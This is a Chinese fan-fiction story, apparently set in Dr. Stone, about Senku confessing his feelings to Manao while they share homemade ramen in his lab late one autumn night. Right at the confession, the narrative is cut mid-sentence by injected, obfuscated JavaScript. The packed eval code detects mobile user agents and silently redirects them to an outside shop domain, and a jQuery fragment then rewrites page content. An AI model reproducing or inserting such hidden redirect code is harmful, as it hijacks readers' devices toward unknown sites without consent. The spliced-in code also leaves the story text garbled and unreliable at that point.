最近的千空很奇怪。
玛瑙将手中细细白白的棉线搓紧。
他总是对着她欲言又止,像是有什么很重要的话要对她说。可每次玛瑙问他想要说什么,他却又避而不谈了。
奇怪,真奇怪,这不像是千空的风格。
少女心里想着事情,可手上的动作却也一点没落。利索地手起手落,用棉线穿过柿蒂,将一个个大小不一的柿子串成了长长的一大串。
她踩在梯子上伸长手臂,小心翼翼地把柿子串挂在了屋檐下。橙红的圆果子一个挨着一个,挤挤攘攘地排在檐下,还怪可爱的。
天气愈凉,渐入深秋,已经是需要穿上厚外套的季节了。
为了迎接接下来的严冬,科学王国的大家如每年这个时节般忙碌着囤积食物,准备衣物以及尽量有条不紊地推进着造船的工作。
又是一阵凉风吹过,玛瑙紧了紧自己的领口,埋头向她的医疗室走去。
最近天凉了下来,总有那么一些人会忘记保暖或者因没有保暖好而感冒,她得提前准备好感冒药和驱寒的姜汤,毕竟生病总归是不好受的。
深秋的天总是黑的特别快,她一个人在医疗室里忙碌着,不知不觉就忘记了时间。等她整理好最后一个药包时才猛然发现天色早已暗沉。
她啪得一下打开灯,昏暗的室内终于被暖洋洋的灯光填满,视线一下就亮堂开阔了。
“咕~”空荡的肠胃不甘地收缩蠕动着,试图引起身体主人的注意以获取到它梦寐以求的一些食物。
玛瑙抬手抚上了空瘪的肚子,才想起来好像已经过了饭点,而她从中午到现在什么都没吃。
今天工作量大,她早有预料会忙很久,所以特意嘱咐了琥珀他们不用给她留饭,她到时会自己做夜宵吃。
她站起身,迈动坐了一下午而发软的腿打算去找点吃的。推开门,一眼就注意到了对面科学研究室同样亮起的灯光。
原本走向隔壁小仓库的脚步一下调转了方向。她走到窗边,小心探头看,千空和以往一样,埋头在书桌上记录着什么。
但他眼底带着掩不住的疲倦,认真起来的眉宇不自觉地微微皱起,就连坐姿都透着一股僵硬感。
玛瑙站在窗边静静地盯了几秒,什么都没有说,只是同样安静地走开。
.
静谧的室内只余笔尖划过纸面的沙沙声,身形纤瘦的少年不时抬起骨节分明的手按压上酸胀的眼眶,浅淡的薄唇抿出笔直的线条。
“砰砰。”
门外传来两下不重的撞击声。
千空的笔尖一顿,他抬头看向门口。
板正的木门除了那两下撞击声后就再无动静,千空脑袋上缓缓冒出一个问号。是谁?
他走过去,推开门。
然后对上了一双闪亮亮的湖绿色眼睛。
那双澄澈的眼一亮,笑得眯成一个弯弯的弧度,“晚上好,我想你应该也没吃饭所以多煮了点面,要一起吃吗?”
门外是双手端着重重的托盘以至于根本没有多余的手敲门只能用脚尖踢门的玛瑙。
托盘上摆着两碗拉面,热气腾腾的,显然是刚煮好没多久就被端来的。
玛瑙一直都有在刻意锻炼自己的厨艺,在经过艰苦卓绝的、惨绝人寰的训练后她已经能够做出一碗称得上味道不错的拉面了!
这是多么大的进步啊!她的试吃团们感动得都要哭出声了,终于……终于啊!
玛瑙眨巴眨巴眼睛,千空就乖乖地将她迎进了门。
扒拉开满桌的纸张,整理出吃饭的地方,玛瑙把托盘小心放在桌上,摆上筷子勺子。
因为桌子是靠墙摆着的,再加之桌上的资料占了一半空间,他们只能并排坐,玛瑙坐在千空搬来的椅子上,几乎是和他肩并肩坐着。
她注意到了两人间似乎有点过于近的距离,悄悄地抬了抬屁股,往远离千空的边上挪了一丢丢。
千空没有发现她的小动作,他从托盘上端下来一碗面,摆在了一个比较靠近中间的位置。玛瑙端起烫烫的碗沿,把它往旁边端。
千空不着痕迹地抿了下唇,语气自然地提醒,“那边的设备有点突出来,你坐过来点,小心别碰到头了。”
“哦哦。”玛瑙又把碗端了回去。
研究室内一下就静了下来,只剩下小声的嗦面声和碗筷磕碰时发出的轻微声响。
千空先是尝了一柱面,又勺起一口面汤,乳白的浓汤入口顺滑绵密,温热的汤滑进空乏的胃里,一下就觉得浑身都暖了起来。
这个味道……出乎意料的很不错呢。
他停下了筷子,脸侧微微转动,目光落到了旁边的少女身上。
她正埋头吃得欢快,饿了一天之后吃什么都觉得香的不行,一碗面很快就被吸溜干净了,脸颊塞得圆鼓鼓的,像只小仓鼠。
飞快嗦完面拿起手帕擦擦嘴,两腮还在忙碌地嚼嚼嚼。
察觉到落在身上的灼灼视线,她疑惑地抬起头,对上千空直勾勾望着她的眼。
有着一头蓬松又柔软的铂金长发的少女歪了歪头,原本别在耳后的发丝不听话地扫过白皙粉嫩的鼓鼓脸颊,又大又圆的小鹿眼被热气熏的湿漉漉的,满眼懵懂地看着他。
她嘴巴塞得满满的,口齿不清地问,“怎么了?”
千空被逗得有点想笑,张了张嘴,脱口而出的却是他最近这一段时间来每次想说却都没有找到机会说出口的那几个字。
“我喜欢你。”
也许是之前在心底翻来覆去地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947188|210660||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
咀嚼了太多遍,想要说出口却又总是堪堪在舌尖急刹车。从脑海中抵达嘴边的这段路它们走了太多次,所以这次才一不小心就超速行驶,一下冲出了高速护栏,啪得一下从天而降。
这句话出现得太过突然,脱口得太过丝滑,以至于听清楚这几字的两人都不约而同地怔住了,一个怀疑自己是不是幻听了,一个在回味自己刚才到底说了什么。
“等……”
“我是认真的。”
两人同时开口,玛瑙嘴里还在下意识嚼着,满脸懵逼,像是从未认识过他一样看着眼前正色的少年。
“……欸?”
虽然现在这个场景略显潦草,但既然话都已经说出了口那自然是没有收回的道理。
千空抬眼与对面还不明白发生了什么的少女对视,“很早之前就喜欢,抱歉现在才告诉你。”
他顿了顿,又重复,“虽然这种现象可以用多巴胺交感神经什么的解释,但我喜欢你这个事实不可否认。”
喜欢这种复杂的情感,既可以用科学解释,又无法完全用科学进行解释,情感终归是不可控的,没有人可以战胜。
他不自觉地放轻了呼吸,胸腔中的那枚脏器正鲜活鼓动,杏仁核被激活,下丘脑?垂体?肾上腺轴与交感神经系统通通被启动,他久违地体会到了等待实验结果时不知实验成功与否的紧张感。
他紧紧盯着那双剧烈波动着的绿眸,一瞬不眨。
玛瑙……玛瑙终于咽下那口面,现在开始怀疑自己是不是在做梦了。
“你不是有喜欢的人吗?”
哦豁,看来她的大脑已经宕机了。
“对啊,喜欢的是你。”
千空也不厌其烦地回答她的弱智问题。
“那、那……”她卡壳了,说不出反驳的话。
过往的回忆一帧帧在她脑子慢放,她好像不得不承认,千空似乎大概率可能……确实是喜欢她的。
她捂住了通红的脸。
啊啊啊啊啊啊啊!!!
这算什么啊!——
千空凑近头顶冒烟的少女,低声委屈,“你不喜欢我?”
“喜欢!”她斩钉截铁。
下一秒却立马破功,捂着脸耍赖大哭,“我喜欢你但是——你、你早说啊!我还以为没戏了呢!呜哇——”
房间里鸣起了笛。
千空揉了揉后颈,自知理亏,手臂轻轻一揽将她拥入了怀中,玛瑙的鼻尖对着他的颈窝,呼吸间充满了少年身上独特的、清爽的、混合着些许化学试剂与笔墨的气息。
她不敢动弹,红着耳根安安静静窝在他怀里,犹豫半天小声哼唧出几个字:
“千空……面要凉了。”
……
哦哦。